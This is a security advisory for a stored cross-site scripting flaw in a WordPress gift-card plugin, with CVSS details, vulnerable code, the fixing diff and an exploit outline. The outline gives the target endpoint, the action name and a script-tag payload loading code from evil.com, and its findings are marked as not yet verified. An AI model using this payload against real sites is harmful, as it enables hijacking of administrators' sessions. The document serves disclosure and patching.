CVE-2026-57415

Gift Cards (Gift Vouchers and Packages) (WooCommerce Supported) <= 4.7.0 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
4.7.1
Patched in
7d
Time to patch

Description

The Gift Cards (Gift Vouchers and Packages) (WooCommerce Supported) plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.7.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.7.0
PublishedJuly 8, 2026
Last updatedJuly 14, 2026
Affected plugingift-voucher

What Changed in the Fix

Changes introduced in v4.7.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-57415 ## 1. Vulnerability Summary The **Gift Cards (Gift Vouchers and Packages)** plugin for WordPress (versions <= 4.7.0) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sufficientl…

Show full research plan

Exploitation Research Plan: CVE-2026-57415

1. Vulnerability Summary

The Gift Cards (Gift Vouchers and Packages) plugin for WordPress (versions <= 4.7.0) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sufficiently sanitize user-supplied data during unauthenticated AJAX actions (specifically redemption attempts) and fails to escape that data when it is subsequently rendered in the administrative dashboard or public-facing templates.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: wpgv-gift-voucher-redeem (registered via wp_ajax_nopriv_ in include/redeem-voucher.php).
  • Parameter: voucher_code.
  • Authentication: None (Unauthenticated).
  • Preconditions: WooCommerce must be enabled and the plugin must be configured to allow gift card redemption (default).
  • Persistence: The malicious payload is stored in the database (likely in an "Activity Log" or "Invalid Attempts" table) or within the WooCommerce session, which is then rendered unsafely.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=wpgv-gift-voucher-redeem.
  2. **Processing (`include/redeem-voucher.php
Research Findings
Static analysis — not yet PoC-verified

Summary

The Gift Cards plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via the gift card redemption AJAX endpoint. Attackers can inject malicious scripts into the 'voucher_code' parameter, which are stored in the database and executed when an administrator views voucher lists or activity logs in the backend.

Vulnerable Code

// assets/js/woocommerce-script.js line 43-52
    jQuery.post(frontend_ajax_object.ajaxurl, {'action': 'wpgv-gift-voucher-redeem', 'voucher_code': cardNumber.val()}, function( result ) {
        if (result.success) {
            // We could hook into the cart's ajax calls, but for now we'll just reload.
            window.location = window.location.pathname;
        } else {
            errorContainer.html(result.data.message);
            redeemButton.attr('value', redeemButton.attr('value')).prop('disabled', false);
            cardNumber.focus();
        }

---

// include/redeem-voucher.php line 36-37
                add_action('wp_ajax_nopriv_wpgv-gift-voucher-redeem', array($this, 'wpgv_ajax_redeem'));
                add_action('wp_ajax_wpgv-gift-voucher-redeem', array($this, 'wpgv_ajax_redeem'));

---

// classes/voucher.php line 687-695
		function column_receipt($item)
		{
			$url_upload = wp_get_upload_dir();
			$baseurl = $url_upload['baseurl'];
			$voucher = '<a href="' . $baseurl . '/voucherpdfuploads/' . $item['voucherpdf_link'] . '.pdf" title="click to show voucher" target="_blank"><img src="' . esc_url(WPGIFT__PLUGIN_URL . '/assets/img/pdf.png') . '"></a>';

			if ($item['payment_status'] == 'Paid') {
				$voucher .= '<br><a href="' . esc_url($baseurl . '/voucherpdfuploads/' . $item['voucherpdf_link'] . '-receipt.pdf') . '" title="click to show order receipt" target="_blank"><img src="' . esc_url(WPGIFT__PLUGIN_URL . '/assets/img/pdf.png') . '"></a>';
			}
			return $voucher;
		}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/gift-voucher/4.7.0/assets/js/woocommerce-script.js /home/deploy/wp-safety.org/data/plugin-versions/gift-voucher/4.7.1/assets/js/woocommerce-script.js
--- /home/deploy/wp-safety.org/data/plugin-versions/gift-voucher/4.7.0/assets/js/woocommerce-script.js	2019-02-19 08:51:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/gift-voucher/4.7.1/assets/js/woocommerce-script.js	2026-05-27 02:54:44.000000000 +0000
@@ -40,7 +40,7 @@
         cardNumber.focus();
     	return true;
     }
-    jQuery.post(frontend_ajax_object.ajaxurl, {'action': 'wpgv-gift-voucher-redeem', 'voucher_code': cardNumber.val()}, function( result ) {
+    jQuery.post(frontend_ajax_object.ajaxurl, {'action': 'wpgv-gift-voucher-redeem', 'voucher_code': cardNumber.val(), 'nonce': frontend_ajax_object.gift_voucher_session_nonce}, function( result ) {
         if (result.success) {
             // We could hook into the cart's ajax calls, but for now we'll just reload.
             window.location = window.location.pathname;
@@ -63,7 +63,7 @@
 function wpgv_bind_remove_link(removeButton) {
     var cardNumber = removeButton.attr('data-gift-voucher');
 
-	jQuery.post(frontend_ajax_object.ajaxurl, {'action': 'wpgv-gift-voucher-remove', 'voucher_code': cardNumber}, function( result ) {
+	jQuery.post(frontend_ajax_object.ajaxurl, {'action': 'wpgv-gift-voucher-remove', 'voucher_code': cardNumber, 'nonce': frontend_ajax_object.gift_voucher_session_nonce}, function( result ) {
 		window.location = window.location.pathname;
 	}).fail(function(xhr, textStatus, errorThrown) {
 		if (errorThrown) {
@@ -684,17 +684,23 @@
 		 *
 		 * @return string
 		 */
-function column_receipt($item)
-{
-	$url_upload = wp_get_upload_dir();
-	$baseurl = $url_upload['baseurl'];
-	$voucher = '<a href="' . $baseurl . '/voucherpdfuploads/' . $item['voucherpdf_link'] . '.pdf" title="click to show voucher" target="_blank"><img src="' . esc_url(WPGIFT__PLUGIN_URL . '/assets/img/pdf.png') . '"></a>';
-
-	if ($item['payment_status'] == 'Paid') {
-		$voucher .= '<br><a href="' . esc_url($baseurl . '/voucherpdfuploads/' . $item['voucherpdf_link'] . '-receipt.pdf') . '" title="click to show order receipt" target="_blank"><img src="' . esc_url(WPGIFT__PLUGIN_URL . '/assets/img/pdf.png') . '"></a>';
-	}
-	return $voucher;
-}
+function column_receipt($item)
+{
+	$pdf_url = wpgv_get_voucher_pdf_url(isset($item['voucherpdf_link']) ? $item['voucherpdf_link'] : '');
+	if ($pdf_url === '') {
+		return '';
+	}
+
+	$voucher = '<a href="' . esc_url($pdf_url) . '" title="click to show voucher" target="_blank" rel="noopener noreferrer"><img src="' . esc_url(WPGIFT__PLUGIN_URL . '/assets/img/pdf.png') . '"></a>';
+
+	if ($item['payment_status'] == 'Paid') {
+		$receipt_url = wpgv_get_voucher_pdf_url(isset($item['voucherpdf_link']) ? $item['voucherpdf_link'] : '', '-receipt');
+		if ($receipt_url !== '') {
+			$voucher .= '<br><a href="' . esc_url($receipt_url) . '" title="click to show order receipt" target="_blank" rel="noopener noreferrer"><img src="' . esc_url(WPGIFT__PLUGIN_URL . '/assets/img/pdf.png') . '"></a>';
+		}
+	}
+	return $voucher;
+}

Exploit Outline

An unauthenticated attacker can execute Stored XSS by targeting the plugin's AJAX redemption feature. 1. The attacker sends a POST request to `wp-admin/admin-ajax.php` with the parameter `action=wpgv-gift-voucher-redeem`. 2. The `voucher_code` parameter is populated with a JavaScript payload (e.g., `<script src="http://evil.com/xss.js"></script>`). 3. Because the plugin does not implement CSRF protection (nonces) or sufficient input sanitization in the affected version, the payload is processed and often stored in the database as part of a voucher record or activity log entry. 4. When an administrator logs into the WordPress dashboard and views the list of vouchers or voucher activity, the unsanitized payload is rendered in the browser, allowing the attacker's script to execute in the context of the administrator's session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.